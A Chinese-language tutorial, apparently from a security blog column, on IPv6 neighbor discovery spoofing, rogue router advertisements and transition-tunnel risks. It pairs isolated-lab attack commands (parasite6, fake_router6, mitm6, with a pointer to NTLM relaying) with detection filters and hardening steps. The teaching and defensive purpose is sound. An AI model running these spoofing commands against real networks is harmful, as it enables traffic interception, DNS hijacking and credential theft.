IPv6 安全新战场:邻居发现欺骗与过渡方案风险

IPv6 安全新战场:邻居发现欺骗与过渡方案风险

定位:网络基础与协议安全篇 · IPv6 不是「延长线」,而是新攻击面
阅读对象:安全入门者、运维、开发、已懂 ARP 欺骗的读者
声明:NDP 欺骗、RA 伪造实验仅限自有隔离靶场(Host-Only/Internal);未授权网络操作违法。


一、IPv6 普及了,为什么安全人更要紧张?

很多企业网络的状态:

· 运维重点仍在 IPv4 防火墙、IDS 规则 · 终端/手机已默认启用 IPv6(双栈) · 交换机可能未开 RA Guard · 安全设备对 ICMPv6 过滤不一致

结果:IPv4 盯得紧,IPv6 成侧门

对比IPv4IPv6
地址解析ARP(广播)NDP(组播)
自动配置DHCP 为主SLAAC + RA
广播无(用组播)
管理员熟悉度参差

上一篇 BGP 讲全球路由;本篇下沉到同一二层网段:IPv6 的「ARP」——邻居发现(NDP)过渡隧道风险。你会看到:ARP 欺骗的 IPv6 版不仅存在,而且工具更成熟。


二、IPv6 地址与双栈(30 秒复习)

全球单播:2001:db8::/32(文档示例) 链路本地:fe80::/10(每台接口自动有,仅本网段) 组播:ff02::/16(链路本地所有节点、所有路由器等)

双栈(Dual Stack):同一接口同时有 IPv4 与 IPv6。

ip-6addr showipaddr show

安全启示:关了 IPv4 的 MITM,IPv6 仍可能被欺骗;只加固 v4 防火墙不够。


三、NDP:邻居发现协议

3.1 NDP 是什么?

NDP 由ICMPv6承载,核心消息:

消息作用IPv4 类比
NS(Neighbor Solicitation)解析 IPv6→MACARP Request
NA(Neighbor Advertisement)应答 MACARP Reply
RA(Router Advertisement)路由器公告前缀、网关无直接对应
RS(Router Solicitation)主机请求 RADHCP Discover 部分功能
Redirect更优下一跳ICMP Redirect

3.2 无认证,和 ARP 一样

谁都可以发 NA:「2001:db8::30 的 MAC 是我」 谁都可以发 RA:「默认网关是我,前缀是 2001:db8:1::/64」

没有内置密码学验证(链路本地信任模型)。

3.3 SLAAC 自动配置

收到合法 RA 后,主机可:

· 根据前缀自动生成全球地址(SLAAC) · 将 RA 源 MAC 设为默认网关 · 从 RDNSS 选项学习 DNS 服务器(若 RA 带 DNS)

伪造 RA = 控制地址与网关 + 可能控制 DNS—— 比单纯 ARP 欺骗更狠。


四、邻居发现欺骗(ND Spoofing)

4.1 NA 欺骗(IPv6 版 ARP 欺骗)

受害机 2001:db8:1::30 攻击者 Kali 默认网关 2001:db8:1::1 │ │ │ │ NS: 谁有 ::1? │ │───────────────────────────────►│ │◄── NA: ::1 是我 fe80::attacker │ 伪造应答 │ │ │ 流量发往攻击者 MAC ───────────►│ MITM

与 ARP 欺骗 同理,需IP 转发NDP 欺骗工具

4.2 RA 欺骗(Fake Router)

攻击者周期性广播 RA: · 前缀 2001:db8:66::/64(恶意网段) · 默认网关 = 攻击者链路本地地址 · 可选 RDNSS = 攻击者控制的 DNS ↓ 受害机新增 IPv6 地址,默认路由指向攻击者 ↓ IPv6 流量经 Kali 中转 → MITM / DNS 劫持

mitm6等工具专打「Windows 在双栈下优先 IPv6」的场景。

4.3 动画:双栈下的侧门

用户访问 https://target.com DNS 返回 A + AAAA 记录 ↓ 现代系统常 **Happy Eyeballs**:IPv6 与 IPv4 竞速 ↓ 若 IPv6 默认路由被 RA 劫持 → 走 IPv6 经攻击者 ↓ IPv4 防火墙日志:一切正常(流量根本没走 v4)

五、过渡方案与隧道风险

为让 IPv4/IPv6 共存,历史上多种过渡技术;不少仍残留在网中。

5.1 双栈(Dual Stack)

风险说明
策略不一致v4 有 ACL,v6 全通
重复服务暴露v6 上忘了关管理口
NDP 攻击面见上文

建议IPv6 安全基线 = IPv4 同级,而非附带功能。

5.2 6to4 / Teredo / ISATAP(遗留隧道)

· 将 IPv6 封装进 IPv4 UDP/41 协议穿越 NAT · 常在主机/路由器上动态建立隧道端点
风险说明
隧道端点不可控恶意 RA/隧道配置指向攻击者
防火墙只滤 TCP/UDP 443协议 41、Teredo UDP 被忽视
已逐步淘汰老系统、游戏、P2P 环境仍可见

运维:明确禁用不再使用的过渡协议(GPO/MDM/路由器配置)。

5.3 NAT64 / DNS64

运营商或企业用DNS64 + NAT64让纯 IPv6 客户端访问 IPv4 互联网。

纯 v6 主机 → DNS64 合成 AAAA(64:ff9b::/96 映射)→ NAT64 网关转 v4
风险说明
DNS64 被劫持映射到错误 v4 地址
审计盲区日志只在 NAT64 设备
依赖 DNS 完整性与 DNS 安全 联动

5.4 过渡风险汇总

技术现状安全关注
双栈主流NDP、ACL 对齐
6rd/6to4减少关隧道
Teredo罕见主机禁用
ISATAP淘汰企业 GPO 禁用
NAT64/DNS64运营商/云DNS 与网关可信

六、实验环境

6.1 拓扑(Host-Only,延续专栏)

网关/路由(可选) 192.168.56.1 / fe80::1 Kali 攻击机 192.168.56.10 / fe80::10 受害机 Ubuntu 192.168.56.30 / 自动 SLAAC 网段 192.168.56.0/24 IPv6 ULA 前缀(实验) fd56:56:56::/64

6.2 受害机启用 IPv6

# /etc/sysctl.confnet.ipv6.conf.all.disable_ipv6=0net.ipv6.conf.default.forwarding=0sudosysctl-p

手动模拟 RA 环境(无真实路由器时),在受害机或网关配置 radvd(合法 RA):

sudoaptinstall-yradvdsudotee/etc/radvd.conf<<'EOF' interface eth1 { AdvSendAdvert on; prefix fd56:56:56::/64 { AdvOnLink on; AdvAutonomous on; }; RDNSS fd56:56:56::53 { }; }; EOFsudosystemctl start radvd

受害机:

ip-6addr show eth1ip-6route show# 应见 fd56:56:56::/64 与默认路由 via fe80::...

6.3 Kali 工具

# THC-IPv6 / mitm6sudoaptinstall-ythc-ipv6 mitm6# 或 Kali 自带部分工具parasite6-hfake_router6-h

6.4 打快照

victim-v6-clean/kali-clean


七、实战一:parasite6(NA 欺骗 / 寄生)

原理:监听 NS,抢先回复 NA(类似 arpspoof 的 IPv6 版)。

# Kalisudosysctl-wnet.ipv6.conf.all.forwarding=1sudosysctl-wnet.ipv4.conf.all.forwarding=1# 接口按实际改 eth1;受害机 IPv6 与网关 IPv6 按环境改sudoparasite6-leth1-F2001:db8:1::302001:db8:1::1

受害机验证:

ip-6neigh show# 网关 IPv6 的 MAC 是否变为 Kaliping62001:db8:1::1

配合tcpdump

sudotcpdump-ieth1 icmp6-n

八、实战二:fake_router6(伪造 RA)

sudofake_router6 eth1 fd66:66:66::/64# 或指定 DNSsudofake_router6 eth1 fd66:66:66::/64 fe80::10

受害机观察:

ip-6addr show# 是否出现 fd66:66:66::/64 地址ip-6route show# 是否新增默认路由 via 攻击者

危害:新前缀 + 默认路由,流量被静默引流到 IPv6。


九、实战三:mitm6(双栈 Windows/Linux 场景)

mitm6利用 Windows 等对 IPv6 的偏好,伪造 RA 让目标用攻击者为网关,常配合ntlmrelayx等做 Windows 域渗透(靶场演示 DNS/HTTP 劫持即可)。

# 终端 1:伪造 RA + DHCPv6 风格 DNS 劫持sudomitm6-dlab.local-ieth1# 终端 2(可选进阶):配合 responder/ntlmrelayx — 仅授权域环境

简化观测实验(不碰域渗透):

1. 受害机双栈,访问内网 HTTP 服务 2. mitm6 运行后看受害机是否新增 IPv6 默认路由 3. Wireshark 过滤 icmp6.type == 134(RA)看伪造包

十、Wireshark 分析 IPv6 欺骗

10.1 过滤器

icmpv6 icmpv6.type == 136 # NA icmpv6.type == 134 # RA icmpv6.type == 135 # NS ipv6.addr == fd56:56:56::30

10.2 RA 异常特征

特征说明
多路由器 RA网段出现两个不同源 MAC 的 RA
陌生前缀fd66:...非网管分配
RDNSS 突变DNS 指向 fe80::10
高频 RA攻击工具默认间隔较短

10.3 与 ARP 欺骗对照抓包

IPv4:arp.opcode == 2 同一 IP 多 MAC IPv6:icmpv6.type==136 同一地址多 MAC

十一、防御措施

11.1 交换机层(企业核心)

特性作用
RA Guard只允许信任端口发 RA
DHCPv6 Guard阻断非授权 DHCPv6 服务器
ND Inspection类似 DAI,绑定 IPv6-MAC
Source Guard防地址伪造

Cisco 示例概念:

ipv6 nd raguard policy HOST device-role host interface Gi0/1 ipv6 nd raguard attach-policy HOST

11.2 主机与系统

□ 不需要 SLAAC 的 server 静态配置地址,忽略 RA □ net.ipv6.conf.all.accept_ra = 0(路由器/服务器) □ 禁用 Teredo/ISATAP/6to4(Windows: netsh, GPO) □ 双栈防火墙策略镜像(v4/v6 同等级) □ 关闭未用的 IPv6 监听服务(netstat -tulnp | grep tcp6)

Linux 服务器禁用 RA:

# /etc/sysctl.d/99-no-ra.confnet.ipv6.conf.all.accept_ra=0net.ipv6.conf.default.accept_ra=0

11.3 监控

· NDP 表突变告警(同一 gw 两个 MAC) · 陌生 ULA/GUA 前缀出现 · ICMPv6 Type 134 频率基线 · Zeek 解析 icmpv6 日志

11.4 与 IPv4 防御对照

IPv4IPv6
DAIND Inspection
arpwatchNDP 监控 / RAguard
静态 ARP静态邻居 / 静态 IPv6
私有 VLAN同样适用

十二、IPv6 防火墙快配(iptables/nft + ip6tables)

# 仅允许已建立连接 + 必要 ICMPv6(勿盲拦 ND!)sudoip6tables-AINPUT-mconntrack--ctstateESTABLISHED,RELATED-jACCEPTsudoip6tables-AINPUT-pipv6-icmp --icmpv6-type echo-request-jACCEPTsudoip6tables-AINPUT-pipv6-icmp --icmpv6-type router-advertisement-jDROP# 上行:仅信任接口的 RA 应由交换机过滤,主机侧 DROP 入站 RA 可作为加固# 默认策略sudoip6tables-PINPUT DROP

注意: blindly 阻断所有 ICMPv6 会破坏 NDP;企业应在接入层用 RA Guard,而非粗暴全禁。


十三、完整实验步骤(90 分钟)

□ 1. Host-Only 三机,受害机启用 IPv6,radvd 发合法 fd56::/64 □ 2. 记录受害机 ip -6 route 与 ip -6 neigh 基线 □ 3. Kali 开启 ipv6 forwarding □ 4. parasite6 欺骗网关 NA,验证 neigh 表 MAC 变化 □ 5. Wireshark 抓 icmpv6.type==136 □ 6. fake_router6 注入 fd66::/64,验证新默认路由 □ 7. 抓 RA(type 134),对比合法 radvd 与伪造参数 □ 8. (可选)mitm6 观察双栈 Windows 受害机 IPv6 路由变化 □ 9. 在受害机设 accept_ra=0 或模拟 RA Guard 后重测,记录防御效果 □ 10. 撰写报告:NDP 与 ARP 对比表 + 过渡方案风险 + 加固清单

十四、常见踩坑

问题原因解决
受害机无 IPv6 地址未收 RA检查 radvd、接口 disable_ipv6
parasite6 无效链路本地 vs 全球地址混用确认目标 IPv6 在同一链路
欺骗后不通未开 forwardingsysctl net.ipv6.conf.all.forwarding=1
Windows 无反应未启用 IPv6、仅 LLMNR确认网卡 IPv6 非「仅本地」
抓不到 ICMPv6过滤错网卡Host-Only 接口名 eth1/enp0s8
防御过狠断网阻断必要 NS/NA用 RA Guard 而非全禁 ICMPv6

十五、法律与伦理

✅ 允许:自有 VM 靶场、书面授权内网 IPv6 安全评估 ❌ 禁止:公司网/校园网未授权 mitm6、伪造 RA ❌ 禁止:利用 IPv6 侧门窃取域凭据

IPv6 攻击在真实红队中并不罕见,蓝队必须同等重视。


十六、攻击链位置

内网接入(WiFi/办公网) ├─► IPv4 ARP 欺骗(前篇) └─► IPv6 RA/ND 欺骗(本篇)── 双栈侧门 ├─► DNS 劫持(RDNSS / mitm6) ├─► HTTP 明文嗅探 └─► NTLM 中继等(域环境,授权演示)

与 BGP 无关(不同层次);与 DNS、ARP 紧密耦合。


十七、本篇小结

┌─────────────────────────────────────────────────────────────┐ │ IPv6 安全 核心记忆 │ ├─────────────────────────────────────────────────────────────┤ │ NDP = ARP + 自动配置;NA/RA 均可伪造 │ │ RA 欺骗可改默认路由 + DNS(RDNSS) │ │ 双栈下 IPv6 可能成为 MITM 侧门 │ │ 过渡隧道(6to4/Teredo)与 NAT64 有遗留风险 │ │ 防御:RA Guard、ND Inspection、accept_ra、v6 防火墙对齐 v4 │ │ 工具:parasite6、fake_router6、mitm6(仅授权靶场) │ └─────────────────────────────────────────────────────────────┘

下一篇预告:《VPN 协议大比拼:IPSec、OpenVPN、WireGuard 安全实测》——从局域网欺骗转到加密隧道的选型与实测。


附录 A:命令速查

# 查看 IPv6ip-6addrip-6routeip-6neigh# 转发sudosysctl-wnet.ipv6.conf.all.forwarding=1# 攻击工具(靶场)sudoparasite6-leth1-F<victim><gateway>sudofake_router6 eth1 fd66:66:66::/64sudomitm6-dlab.local-ieth1# 抓包sudotcpdump-ieth1 icmp6-n

附录 B:ICMPv6 类型速查

Type名称
133Router Solicitation
134Router Advertisement
135Neighbor Solicitation
136Neighbor Advertisement
137Redirect

附录 C:与专栏前篇关联

前篇关联
ARP 欺骗NA 欺骗同构
DNS 安全RDNSS、mitm6 劫持
Wiresharkicmpv6过滤器
SSL 剥离双栈下协议选择影响攻击路径